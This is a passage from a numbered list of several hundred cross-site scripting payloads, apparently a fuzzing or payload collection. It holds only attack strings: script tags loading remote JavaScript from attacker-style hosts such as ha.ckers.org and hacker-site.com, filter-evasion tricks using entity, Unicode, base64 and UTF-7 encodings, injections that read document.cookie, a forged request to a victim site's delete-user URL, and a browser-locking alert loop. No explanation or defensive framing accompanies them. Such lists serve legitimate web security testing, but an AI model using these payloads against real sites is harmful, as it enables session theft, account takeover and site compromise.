813. <SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
     
814. <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
     
815. <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
     
816. <A HREF="http://66.102.7.147/">XSS</A>
     
817. <A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
     
818. <A HREF="http://1113982867/">XSS</A>
     
819. <A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
     
820. <A HREF="http://0102.0146.0007.00000223/">XSS</A>
     
821. <A HREF="htt p://6 6.000146.0x7.147/">XSS</A>
     
822. <iframe  src="        javascript:prompt(1)        ">
     
823. <svg><style>{font-family:'<iframe/onload=confirm(1)>'
     
824. <input/onmouseover="javaSCRIPT:confirm(1)"
     
825. <sVg><scRipt >alert(1) {Opera}
     
826. <img/src=`` onerror=this.onerror=confirm(1)
     
827. <form><isindex formaction="javascript:confirm(1)"
     
828. <img src=``
     
829. onerror=alert(1)
     
830. 
     
831. <script/         src='https://dl.dropbox.com/u/13018058/js.js' /        ></script>
     
832. <ScRipT 5-0*3+9/3=>prompt(1)</ScRipT giveanswerhere=?
     
833. <iframe/src="data:text/html;        base64        ,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
     
834. <script /**/>/**/alert(1)/**/</script /**/
     
835. "><h1/onmouseover='\u0061lert(1)'>
     
836. <iframe/src="data:text/html,<svg onload=alert(1)>">
     
837. <meta content="
     
838. 1
     
839. ; JAVASCRIPT: alert(1)" http-equiv="refresh"/>
     
840. <svg><script xlink:href=data:,window.open('https://www.google.com/')></script
     
841. <svg><script x:href='https://dl.dropbox.com/u/13018058/js.js' {Opera}
     
842. <meta http-equiv="refresh" content="0;url=javascript:confirm(1)">
     
843. <iframe src=javascript:alert(document.location)>
     
844. <form><a href="javascript:\u0061lert(1)">X
     
845. </script><img/*/src="worksinchrome:prompt(1)"/*/onerror='eval(src)'>
     
846. <img/       
     
847.  src=`~` onerror=prompt(1)>
     
848. <form><iframe        
     
849.  src="javascript:alert(1)"
     
850.         ;>
     
851. <a href="data:application/x-x509-user-cert;
     
852. base64
     
853. ,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="       
     
854. >X</a
     
855. http://www.google<script .com>alert(document.location)</script
     
856. <a href=[&#65533;]"&#65533; onmouseover=prompt(1)//">XYZ</a
     
857. <img/src=@
     
858. onerror = prompt('1')
     
859. <style/onload=prompt('XSS')
     
860. <script ^__^>alert(String.fromCharCode(49))</script ^__^
     
861. </style  ><script   :-(>/**/alert(document.location)/**/</script   :-(
     
862. &#65533;</form><input type="date" onfocus="alert(1)">
     
863. <form><textarea
     
864. onkeyup='\u0061\u006C\u0065\u0072\u0074(1)'>
     
865. <script /***/>/***/confirm('\uFF41\uFF4C\uFF45\uFF52\uFF54\u1455\uFF11\u1450')/***/</script /***/
     
866. <iframe srcdoc='<body onload=prompt(1)>'>
     
867. <a href="javascript:void(0)" onmouseover=
     
868. javascript:alert(1)
     
869. >X</a>
     
870. <script ~~~>alert(0%0)</script ~~~>
     
871. <style/onload=<!--        >
     
872. alert
     
873. (1)>
     
874. <///style///><span %2F onmousemove='alert(1)'>SPAN
     
875. <img/src='http://i.imgur.com/P8mL8.jpg' onmouseover=        prompt(1)
     
876. "><svg><style>{-o-link-source:'<body/onload=confirm(1)>'
     
877. 
     
878. <blink/
     
879. onmouseover=prompt(1)>OnMouseOver {Firefox & Opera}
     
880. <marquee onstart='javascript:alert(1)'>^__^
     
881. <div/style="width:expression(confirm(1))">X</div> {IE7}
     
882. <iframe// src=javaSCRIPT:alert(1)
     
883. //<form/action=javascript:alert(document.cookie)><input/type='submit'>//
     
884. /*iframe/src*/<iframe/src="<iframe/src=@"/onload=prompt(1) /*iframe/src*/>
     
885. //|\\ <script //|\\ src='https://dl.dropbox.com/u/13018058/js.js'> //|\\ </script //|\\
     
886. </font>/<svg><style>{src:'<style/onload=this.onload=confirm(1)>'</font>/</style>
     
887. <a/href="javascript:
     
888. javascript:prompt(1)"><input type="X">
     
889. </plaintext\></|\><plaintext/onmouseover=prompt(1)
     
890. </svg>''<svg><script 'AQuickBrownFoxJumpsOverTheLazyDog'>alert(1) {Opera}
     
891. <a href="javascript:\u0061le%72t(1)"><button>
     
892. <div onmouseover='alert(1)'>DIV</div>
     
893. <iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)">
     
894. <a href="jAvAsCrIpT:alert(1)">X</a>
     
895. <embed src="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
     
896. <object data="http://corkami.googlecode.com/svn/!svn/bc/480/trunk/misc/pdf/helloworld_js_X.pdf">
     
897. <var onmouseover="prompt(1)">On Mouse Over</var>
     
898. <a href=javascript:alert(document.cookie)>Click Here</a>
     
899. <img src="/" =_=" title="onerror='prompt(1)'">
     
900. <%<!--'%><script>alert(1);</script -->
     
901. <script src="data:text/javascript,alert(1)"></script>
     
902. <iframe/src \/\/onload = prompt(1)
     
903. <iframe/onreadystatechange=alert(1)
     
904. <svg/onload=alert(1)
     
905. <input value=<><iframe/src=javascript:confirm(1)
     
906. <input type="text" value=`` <div/onmouseover='alert(1)'>X</div>
     
907. <iframe src=j        a        v        a        s        c        r        i        p        t        :a        l        e        r        t        %28        1        %29></iframe>
     
908. <img src=`xx:xx`onerror=alert(1)>
     
909. <object type="text/x-scriptlet" data="http://jsfiddle.net/XLE63/ "></object>
     
910. <meta http-equiv="refresh" content="0;javascript:alert(1)"/>
     
911. <math><a xlink:href="//jsfiddle.net/t846h/">click
     
912. <embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
     
913. <svg contentScriptType=text/vbs><script>MsgBox+1
     
914. <a href="data:text/html;base64_,<svg/onload=\u0061le%72t(1)>">X</a
     
915. <iframe/onreadystatechange=\u0061\u006C\u0065\u0072\u0074('\u0061') worksinIE>
     
916. <script>~'\u0061' ; \u0074\u0068\u0072\u006F\u0077 ~ \u0074\u0068\u0069\u0073. \u0061\u006C\u0065\u0072\u0074(~'\u0061')</script U+
     
917. <script/src="data:text%2Fj\u0061v\u0061script,\u0061lert('\u0061')"></script a=\u0061 & /=%2F
     
918. <script/src=data:text/j\u0061v\u0061script,\u0061%6C%65%72%74(/XSS/)></script
     
919. <object data=javascript:\u0061le%72t(1)>
     
920. <script>+-+-1-+-+alert(1)</script>
     
921. <body/onload=<!-->
     
922. alert(1)>
     
923. <script itworksinallbrowsers>/*<script* */alert(1)</script
     
924. <img src ?itworksonchrome?\/onerror = alert(1)
     
925. <svg><script>//
     
926. confirm(1);</script </svg>
     
927. <svg><script onlypossibleinopera:-)> alert(1)
     
928. <a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
     
929. <script x> alert(1) </script 1=2
     
930. <div/onmouseover='alert(1)'> style="x:">
     
931. <--`<img/src=` onerror=alert(1)> --!>
     
932. <script/src=data:text/javascript,alert(1)></script>
     
933. <div style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="prompt(1)" onclick="alert(1)">x</button>
     
934. "><img src=x onerror=window.open('https://www.google.com/');>
     
935. <form><button formaction=javascript:alert(1)>CLICKME
     
936. <math><a xlink:href="//jsfiddle.net/t846h/">click
     
937. <object data=data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+></object>
     
938. <iframe src="data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"></iframe>
     
939. <a href="data:text/html;blabla,<script src="http://sternefamily.net/foo.js"></script>&#8203;">Click Me</a>
     
940. '';!--"<XSS>=&{()}
     
941. '>//\\,<'>">">"*"
     
942. '); alert('XSS
     
943. <script>alert(1);</script>
     
944. <script>alert('XSS');</script>
     
945. <IMG SRC="javascript:alert('XSS');">
     
946. <IMG SRC=javascript:alert('XSS')>
     
947. <IMG SRC=javascript:alert('XSS')>
     
948. <IMG SRC=javascript:alert("XSS")>
     
949. <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
     
950. <scr<script>ipt>alert('XSS');</scr</script>ipt>
     
951. <script>alert(String.fromCharCode(88,83,83))</script>
     
952. <img src=foo.png onerror=alert(/xssed/) />
     
953. <style>@im\port'\ja\vasc\ript:alert("XSS")';</style>
     
954. <? echo('<scr)'; echo('ipt>alert("XSS")</script>'); ?>
     
955. <marquee><script>alert('XSS')</script></marquee>
     
956. <IMG SRC="jav        ascript:alert('XSS');">
     
957. <IMG SRC="jav
     
958. ascript:alert('XSS');">
     
959. <IMG SRC="jav
     
960. ascript:alert('XSS');">
     
961. <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
     
962. "><script>alert(0)</script>
     
963. <script src=http://yoursite.com/your_files.js></script>
     
964. </title><script>alert(/xss/)</script>
     
965. </textarea><script>alert(/xss/)</script>
     
966. <IMG LOWSRC="javascript:alert('XSS')">
     
967. <IMG DYNSRC="javascript:alert('XSS')">
     
968. <font style='color:expression(alert(document.cookie))'>
     
969. <img src="javascript:alert('XSS')">
     
970. <script language="JavaScript">alert('XSS')</script>
     
971. <body onunload="javascript:alert('XSS');">
     
972. <body onLoad="alert('XSS');"
     
973. [color=red' onmouseover="alert('xss')"]mouse over[/color]
     
974. "/></a></><img src=1.gif onerror=alert(1)>
     
975. window.alert("Bonjour !");
     
976. <div style="x:expression((window.r==1)?'':eval('r=1;
     
977. alert(String.fromCharCode(88,83,83));'))">
     
978. <iframe<?php echo chr(11)?> onload=alert('XSS')></iframe>
     
979. "><script alert(String.fromCharCode(88,83,83))</script>
     
980. '>><marquee><h1>XSS</h1></marquee>
     
981. '">><script>alert('XSS')</script>
     
982. '">><marquee><h1>XSS</h1></marquee>
     
983. <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
     
984. <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
     
985. <script>var var = 1; alert(var)</script>
     
986. <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
     
987. <?='<SCRIPT>alert("XSS")</SCRIPT>'?>
     
988. <IMG SRC='vbscript:msgbox("XSS")'>
     
989. " onfocus=alert(document.domain) "> <"
     
990. <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
     
991. <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
     
992. perl -e 'print "<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out
     
993. perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";' > out
     
994. <br size="&{alert('XSS')}">
     
995. <scrscriptipt>alert(1)</scrscriptipt>
     
996. </br style=a:expression(alert())>
     
997. </script><script>alert(1)</script>
     
998. "><BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
     
999. [color=red width=expression(alert(123))][color]
     
1000. <BASE HREF="javascript:alert('XSS');//">
      
1001. Execute(MsgBox(chr(88)&chr(83)&chr(83)))<
      
1002. "></iframe><script>alert(123)</script>
      
1003. <body onLoad="while(true) alert('XSS');">
      
1004. '"></title><script>alert(1111)</script>
      
1005. </textarea>'"><script>alert(document.cookie)</script>
      
1006. '""><script language="JavaScript"> alert('X \nS \nS');</script>
      
1007. </script></script><<<<script><>>>><<<script>alert(123)</script>
      
1008. <html><noalert><noscript>(123)</noscript><script>(123)</script>
      
1009. <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
      
1010. '></select><script>alert(123)</script>
      
1011. '>"><script src = 'http://www.site.com/XSS.js'></script>
      
1012. }</style><script>a=eval;b=alert;a(b(/XSS/.source));</script>
      
1013. <SCRIPT>document.write("XSS");</SCRIPT>
      
1014. a="get";b="URL";c="javascript:";d="alert('xss');";eval(a+b+c+d);
      
1015. ='><script>alert("xss")</script>
      
1016. <script+src=">"+src="http://yoursite.com/xss.js?69,69"></script>
      
1017. <body background=javascript:'"><script>alert(navigator.userAgent)</script>></body>
      
1018. ">/XaDoS/><script>alert(document.cookie)</script><script src="http://www.site.com/XSS.js"></script>
      
1019. ">/KinG-InFeT.NeT/><script>alert(document.cookie)</script>
      
1020. src="http://www.site.com/XSS.js"></script>
      
1021. data:text/html;charset=utf-7;base64,Ij48L3RpdGxlPjxzY3JpcHQ+YWxlcnQoMTMzNyk8L3NjcmlwdD4=
      
1022. !--" /><script>alert('xss');</script>
      
1023. <script>alert("XSS by \nxss")</script><marquee><h1>XSS by xss</h1></marquee>
      
1024. "><script>alert("XSS by \nxss")</script>><marquee><h1>XSS by xss</h1></marquee>
      
1025. '"></title><script>alert("XSS by \nxss")</script>><marquee><h1>XSS by xss</h1></marquee>
      
1026. <img """><script>alert("XSS by \nxss")</script><marquee><h1>XSS by xss</h1></marquee>
      
1027. <script>alert(1337)</script><marquee><h1>XSS by xss</h1></marquee>
      
1028. "><script>alert(1337)</script>"><script>alert("XSS by \nxss</h1></marquee>
      
1029. '"></title><script>alert(1337)</script>><marquee><h1>XSS by xss</h1></marquee>
      
1030. <iframe src="javascript:alert('XSS by \nxss');"></iframe><marquee><h1>XSS by xss</h1></marquee>
      
1031. '><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src="" alt='
      
1032. "><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src="" alt="
      
1033. \'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT><img src="" alt=\'
      
1034. http://www.simpatie.ro/index.php?page=friends&member=781339&javafunctionname=Pageclick&javapgno=2 javapgno=2 ??XSS??
      
1035. http://www.simpatie.ro/index.php?page=top_movies&cat=13&p=2 p=2 ??XSS??
      
1036. '); alert('xss'); var x='
      
1037. \\'); alert(\'xss\');var x=\'
      
1038. //--></SCRIPT><SCRIPT>alert(String.fromCharCode(88,83,83));
      
1039. >"><ScRiPt%20%0a%0d>alert(561177485777)%3B</ScRiPt>
      
1040. <img src="Mario Heiderich says that svg SHOULD not be executed trough image tags" onerror="javascript:document.write('\u003c\u0069\u0066\u0072\u0061\u006d\u0065\u0020\u0073\u0072\u0063\u003d\u0022\u0064\u0061\u0074\u0061\u003a\u0069\u006d\u0061\u0067\u0065\u002f\u0073\u0076\u0067\u002b\u0078\u006d\u006c\u003b\u0062\u0061\u0073\u0065\u0036\u0034\u002c\u0050\u0048\u004e\u0032\u005a\u0079\u0042\u0034\u0062\u0057\u0078\u0075\u0063\u007a\u0030\u0069\u0061\u0048\u0052\u0030\u0063\u0044\u006f\u0076\u004c\u0033\u0064\u0033\u0064\u0079\u0035\u0033\u004d\u0079\u0035\u0076\u0063\u006d\u0063\u0076\u004d\u006a\u0041\u0077\u004d\u0043\u0039\u007a\u0064\u006d\u0063\u0069\u0050\u0069\u0041\u0067\u0043\u0069\u0041\u0067\u0049\u0044\u0078\u0070\u0062\u0057\u0046\u006e\u005a\u0053\u0042\u0076\u0062\u006d\u0078\u0076\u0059\u0057\u0051\u0039\u0049\u006d\u0046\u0073\u005a\u0058\u004a\u0030\u004b\u0044\u0045\u0070\u0049\u006a\u0034\u0038\u004c\u0032\u006c\u0074\u0059\u0057\u0064\u006c\u0050\u0069\u0041\u0067\u0043\u0069\u0041\u0067\u0049\u0044\u0078\u007a\u0064\u006d\u0063\u0067\u0062\u0032\u0035\u0073\u0062\u0032\u0046\u006b\u0050\u0053\u004a\u0068\u0062\u0047\u0056\u0079\u0064\u0043\u0067\u0079\u004b\u0053\u0049\u002b\u0050\u0043\u0039\u007a\u0064\u006d\u0063\u002b\u0049\u0043\u0041\u004b\u0049\u0043\u0041\u0067\u0050\u0048\u004e\u006a\u0063\u006d\u006c\u0077\u0064\u0044\u0035\u0068\u0062\u0047\u0056\u0079\u0064\u0043\u0067\u007a\u004b\u0054\u0077\u0076\u0063\u0032\u004e\u0079\u0061\u0058\u0042\u0030\u0050\u0069\u0041\u0067\u0043\u0069\u0041\u0067\u0049\u0044\u0078\u006b\u005a\u0057\u005a\u007a\u0049\u0047\u0039\u0075\u0062\u0047\u0039\u0068\u005a\u0044\u0030\u0069\u0059\u0057\u0078\u006c\u0063\u006e\u0051\u006f\u004e\u0043\u006b\u0069\u0050\u006a\u0077\u0076\u005a\u0047\u0056\u006d\u0063\u007a\u0034\u0067\u0049\u0041\u006f\u0067\u0049\u0043\u0041\u0038\u005a\u0079\u0042\u0076\u0062\u006d\u0078\u0076\u0059\u0057\u0051\u0039\u0049\u006d\u0046\u0073\u005a\u0058\u004a\u0030\u004b\u0044\u0055\u0070\u0049\u006a\u0034\u0067\u0049\u0041\u006f\u0067\u0049\u0043\u0041\u0067\u0049\u0043\u0041\u0067\u0050\u0047\u004e\u0070\u0063\u006d\u004e\u0073\u005a\u0053\u0042\u0076\u0062\u006d\u0078\u0076\u0059\u0057\u0051\u0039\u0049\u006d\u0046\u0073\u005a\u0058\u004a\u0030\u004b\u0044\u0059\u0070\u0049\u0069\u0041\u0076\u0050\u0069\u0041\u0067\u0043\u0069\u0041\u0067\u0049\u0043\u0041\u0067\u0049\u0043\u0041\u0038\u0064\u0047\u0056\u0034\u0064\u0043\u0042\u0076\u0062\u006d\u0078\u0076\u0059\u0057\u0051\u0039\u0049\u006d\u0046\u0073\u005a\u0058\u004a\u0030\u004b\u0044\u0063\u0070\u0049\u006a\u0034\u0038\u004c\u0033\u0052\u006c\u0065\u0048\u0051\u002b\u0049\u0043\u0041\u004b\u0049\u0043\u0041\u0067\u0050\u0043\u0039\u006e\u0050\u0069\u0041\u0067\u0043\u006a\u0077\u0076\u0063\u0033\u005a\u006e\u0050\u0069\u0041\u0067\u0022\u003e\u003c\u002f\u0069\u0066\u0072\u0061\u006d\u0065\u003e');"></img>
      
1041. </body>
      
1042. </html>
      
1043. <SCRIPT SRC=http://hacker-site.com/xss.js></SCRIPT>
      
1044. <SCRIPT> alert(“XSS”); </SCRIPT>
      
1045. <BODY ONLOAD=alert("XSS")>
      
1046. <BODY BACKGROUND="javascript:alert('XSS')">
      
1047. <IMG SRC="javascript:alert('XSS');">
      
1048. <IMG DYNSRC="javascript:alert('XSS')">
      
1049. <IMG LOWSRC="javascript:alert('XSS')">
      
1050. <IFRAME SRC=”http://hacker-site.com/xss.html”>
      
1051. <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
      
1052. <LINK REL="stylesheet" HREF="javascript:alert('XSS');">
      
1053. <TABLE BACKGROUND="javascript:alert('XSS')">
      
1054. <TD BACKGROUND="javascript:alert('XSS')">
      
1055. <DIV STYLE="background-image: url(javascript:alert('XSS'))">
      
1056. <DIV STYLE="width: expression(alert('XSS'));">
      
1057. <OBJECT TYPE="text/x-scriptlet" DATA="http://hacker.com/xss.html">
      
1058. <EMBED SRC="http://hacker.com/xss.swf" AllowScriptAccess="always">
      
1059. ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
      
1060. '';!--"<XSS>=&{()}
      
1061. <SCRIPT>alert('XSS')</SCRIPT>
      
1062. <SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
      
1063. <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
      
1064. <BASE HREF="javascript:alert('XSS');//">
      
1065. <BGSOUND SRC="javascript:alert('XSS');">
      
1066. <BODY BACKGROUND="javascript:alert('XSS');">
      
1067. <BODY ONLOAD=alert('XSS')>
      
1068. <DIV STYLE="background-image: url(javascript:alert('XSS'))">
      
1069. <DIV STYLE="background-image: url(&#1;javascript:alert('XSS'))">
      
1070. <DIV STYLE="width: expression(alert('XSS'));">
      
1071. <FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
      
1072. <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
      
1073. <INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
      
1074. <IMG SRC="javascript:alert('XSS');">
      
1075. <IMG SRC=javascript:alert('XSS')>
      
1076. <IMG DYNSRC="javascript:alert('XSS');">
      
1077. <IMG LOWSRC="javascript:alert('XSS');">
      
1078. <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
      
1079. Redirect 302 /a.jpg http://victimsite.com/admin.asp&deleteuser
      
1080. exp/*<XSS STYLE='no\xss:noxss("*//*");
      
1081. <STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
      
1082. <IMG SRC='vbscript:msgbox("XSS")'>
      
1083. <LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER>
      
1084. <IMG SRC="livescript:[code]">
      
1085. %BCscript%BEalert(%A2XSS%A2)%BC/script%BE
      
1086. <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
      
1087. <META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
      
1088. <META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
      
1089. <IMG SRC="mocha:[code]">
      
1090. <OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
      
1091. <OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>
      
1092. <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
      
1093. a="get";&#10;b="URL("";&#10;c="javascript:";&#10;d="alert('XSS');")";
      
1094. eval(a+b+c+d);
      
1095. <STYLE TYPE="text/javascript">alert('XSS');</STYLE>
      
1096. <IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
      
1097. <XSS STYLE="xss:expression(alert('XSS'))">
      
1098. <STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
      
1099. <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
      
1100. <LINK REL="stylesheet" HREF="javascript:alert('XSS');">
      
1101. <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
      
1102. <STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
      
1103. <META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
      
1104. <STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
      
1105. <TABLE BACKGROUND="javascript:alert('XSS')"></TABLE>
      
1106. <TABLE><TD BACKGROUND="javascript:alert('XSS')"></TD></TABLE>
      
1107. <HTML xmlns:xss>
      
1108. <XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
      
1109. <XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
      
1110. <XML SRC="http://ha.ckers.org/xsstest.xml" ID=I></XML>
      
1111. <HTML><BODY>
      
1112. <!--[if gte IE 4]>               
      
1113. <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">
      
1114. <XSS STYLE="behavior: url(http://ha.ckers.org/xss.htc);">
      
1115. <SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
      
1116. <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://ha.ckers.org/xss.js></SCRIPT>'"-->
      
1117. <? echo('<SCR)';
      
1118. <BR SIZE="&{alert('XSS')}">
      
1119. <IMG SRC=JaVaScRiPt:alert('XSS')>
      
1120. <IMG SRC=javascript:alert(&quot;XSS&quot;)>
      
1121. <IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
      
1122. <IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
      
1123. <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
      
1124. <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
      
1125. <DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
      
1126. <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
      
1127. <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
      
1128. ";alert('XSS');//
      
1129. </TITLE><SCRIPT>alert("XSS");</SCRIPT>
      
1130. <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
      
1131. <IMG SRC="jav        ascript:alert('XSS');">
      
1132. <IMG SRC="jav&#x09;ascript:alert('XSS');">
      
1133. <IMG SRC="jav&#x0A;ascript:alert('XSS');">
      
1134. <IMG SRC="jav&#x0D;ascript:alert('XSS');">
      
1135. <IMG
      
1136. SRC
      
1137. =
      
1138. "
      
1139. j
      
1140. a
      
1141. v
      
1142. a
      
1143. s
      
1144. c
      
1145. r
      
1146. i
      
1147. p
      
1148. t
      
1149. :
      
1150. a
      
1151. l
      
1152. e
      
1153. r
      
1154. t
      
1155. (
      
1156. '
      
1157. X
      
1158. S
      
1159. S
      
1160. '
      
1161. )
      
1162. "
      
1163. >
      
1164. perl -e 'print "<IMG SRC=java\0script:alert("XSS")>";'> out
      
1165. perl -e 'print "&<SCR\0IPT>alert("XSS")</SCR\0IPT>";' > out
      
1166. <IMG SRC=" &#14;  javascript:alert('XSS');">
      
1167. <SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
      
1168. <BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
      
1169. <SCRIPT SRC=http://ha.ckers.org/xss.js
      
1170. <SCRIPT SRC=//ha.ckers.org/.j>
      
1171. <IMG SRC="javascript:alert('XSS')"
      
1172. <IFRAME SRC=http://ha.ckers.org/scriptlet.html <
      
1173. <<SCRIPT>alert("XSS");//<</SCRIPT>
      
1174. <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
      
1175. <SCRIPT>a=/XSS/
      
1176. <SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
      
1177. <SCRIPT ="blah" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
      
1178. <SCRIPT a="blah" '' SRC="http://ha.ckers.org/xss.js"></SCRIPT>
      
1179. <SCRIPT "a='>'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
      
1180. <SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>
      
1181. <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
      
1182. <SCRIPT a=">'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>
      
1183. <A HREF="http://66.102.7.147/">XSS</A>
      
1184. <A HREF="http://%77%77%77%2E%67%6F%6F%67%6C%65%2E%63%6F%6D">XSS</A>
      
1185. <A HREF="http://1113982867/">XSS</A>
      
1186. <A HREF="http://0x42.0x0000066.0x7.0x93/">XSS</A>
      
1187. <A HREF="http://0102.0146.0007.00000223/">XSS</A>
      
1188. <A HREF="h
      
1189. tt        p://6&#09;6.000146.0x7.147/">XSS</A>
      
1190. <A HREF="//www.google.com/">XSS</A>
      
1191. <A HREF="//google">XSS</A>
      
1192. <A HREF="http://ha.ckers.org@google">XSS</A>
      
1193. <A HREF="http://google:ha.ckers.org">XSS</A>
      
1194. <A HREF="http://google.com/">XSS</A>
      
1195. <A HREF="http://www.google.com./">XSS</A>
      
1196. <A HREF="javascript:document.location='http://www.google.com/'">XSS</A>
      
1197. <A HREF="http://www.gohttp://www.google.com/ogle.com/">XSS</A>
      
1198. <script>document.vulnerable=true;</script>
      
1199. <img SRC="jav ascript:document.vulnerable=true;">
      
1200. <img SRC="javascript:document.vulnerable=true;">
      
1201. <img SRC="  javascript:document.vulnerable=true;">
      
1202. <body onload!#$%&()*~+-_.,:;?@[/|\]^`=document.vulnerable=true;>
      
1203. <<SCRIPT>document.vulnerable=true;//<</SCRIPT>
      
1204. <script <B>document.vulnerable=true;</script>
      
1205. <img SRC="javascript:document.vulnerable=true;"
      
1206. <iframe src="javascript:document.vulnerable=true; <
      
1207. <script>a=/XSS/\ndocument.vulnerable=true;</script>
      
1208. ";document.vulnerable=true;;//
      
1209. </title><SCRIPT>document.vulnerable=true;</script>
      
1210. <input TYPE="IMAGE" SRC="javascript:document.vulnerable=true;">
      
1211. <body BACKGROUND="javascript:document.vulnerable=true;">
      
1212. <body ONLOAD=document.vulnerable=true;>
      
1213. <img DYNSRC="javascript:document.vulnerable=true;">
      
1214. <img LOWSRC="javascript:document.vulnerable=true;">
      
1215. <bgsound SRC="javascript:document.vulnerable=true;">
      
1216. <br SIZE="&{document.vulnerable=true}">
      
1217. <LAYER SRC="javascript:document.vulnerable=true;"></LAYER>
      
1218. <link REL="stylesheet" HREF="javascript:document.vulnerable=true;">
      
1219. <style>li {list-style-image: url("javascript:document.vulnerable=true;");</STYLE><UL><LI>XSS
      
